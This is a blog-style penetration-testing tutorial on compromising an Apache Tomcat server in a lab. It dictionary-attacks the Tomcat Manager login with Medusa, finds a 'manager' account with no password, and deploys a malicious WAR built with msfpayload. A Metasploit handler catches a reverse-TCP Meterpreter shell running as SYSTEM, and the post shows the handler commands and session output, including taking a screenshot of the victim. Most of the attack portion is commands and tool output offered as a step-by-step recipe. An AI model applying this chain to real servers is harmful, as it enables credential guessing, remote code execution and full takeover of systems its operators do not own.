In this post I thought I would do a simple demonstration of how to use Medusa to test for Tomcat accounts and then utilize Medusa’s findings to exploit Tomcat with Metasploit. I am going to assume you have Medusa and Metasploit installed and you enumerated a Tomcat server by some method like nmap, nessus or you just knew an application uses Tomcat. For my example, 192.168.1.30 is the Tomcat server and 192.168.1.2 is the attacker. After you verified you found a Tomcat server, open a browser and visit the Tomcat Manager Application
It should prompt you for a user/pass. Since we don’t know the user/pass this will be the page we run a dictionary attack against. Hopefully you have some dictionary files but for this example I am just going to create a very simple one
test
admin
monkey
manager
commanderpoo
# cat /tmp/passwords
test
rockyou
password123
password12345
changeme
Then we tell Medusa to perform something similar to this
(-h) host IP or name
(-U) username dictionary file
(-P) password dictionary file
(-e ns) [n] No Password, [s] Password=Username
(-n) port number
(-m) directory path for URL
If Medusa finds an account it should print out a [SUCCESS] next to the account found
ACCOUNT CHECK: [http] Host: 192.168.1.30 (1 of 1, 0 complete) User: manager (4 of 6, 3 complete) Password: (1 of 8 complete)
ACCOUNT FOUND: [http] Host: 192.168.1.30 User: manager Password: [SUCCESS]
ACCOUNT CHECK: [http] Host: 192.168.1.30 (1 of 1, 0 complete) User: root (5 of 6, 4 complete) Password: (1 of 8 complete)
ACCOUNT CHECK: [http] Host: 192.168.1.30 (1 of 1, 0 complete) User: root (5 of 6, 4 complete) Password: root (2 of 8 complete)
Here Medusa found the account “manager” with no password set. Now revisit the URL, entering the newly discovered user/pass and you should see something similar to
To take advantage of this new found power we are going to upload and deploy a malicious WAR file into Tomcat. To create the WAR file use Metasploit’s msfpayload and pick your desired payload
Once the WAR file payload is created you need to upload it to Tomcat via the Manager Application. So under the section “WAR file to upload” select your msfpayload.

Start up msfconsole and configure it to handle your payload
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(handler) > set lport 4545
lport => 4545
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started reverse handler
Once Metasploit is ready and waiting for a connection, you need to get Tomcat to run your WAR. There might be an easier way but I found that if you look in the WAR file and determine the jsp file name you can just call that jsp file in the browser. So figure out the random jsp file name
Archive: /tmp/MetRev.war
Length Date Time Name
--------- ---------- ----- ----
71 03-31-2010 23:01 META-INF/MANIFEST.MF
0 03-31-2010 23:01 WEB-INF/
276 03-31-2010 23:01 WEB-INF/web.xml
1157 03-31-2010 23:01 xnjpnric.jsp
75776 03-31-2010 23:01 rQUihgjlKyT.txt
--------- -------
77280 5 files
Then in your browser visit the jsp page and MSF should get a connection back. From there you can do what you want (always fun to migrate over to Explorer.exe’s pid and take a screenshot)
[*] Meterpreter session 1 opened (192.168.1.2:4545 -> 192.168.1.30:4230)
meterpreter >
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > migrate 618
meterpreter > screenshot
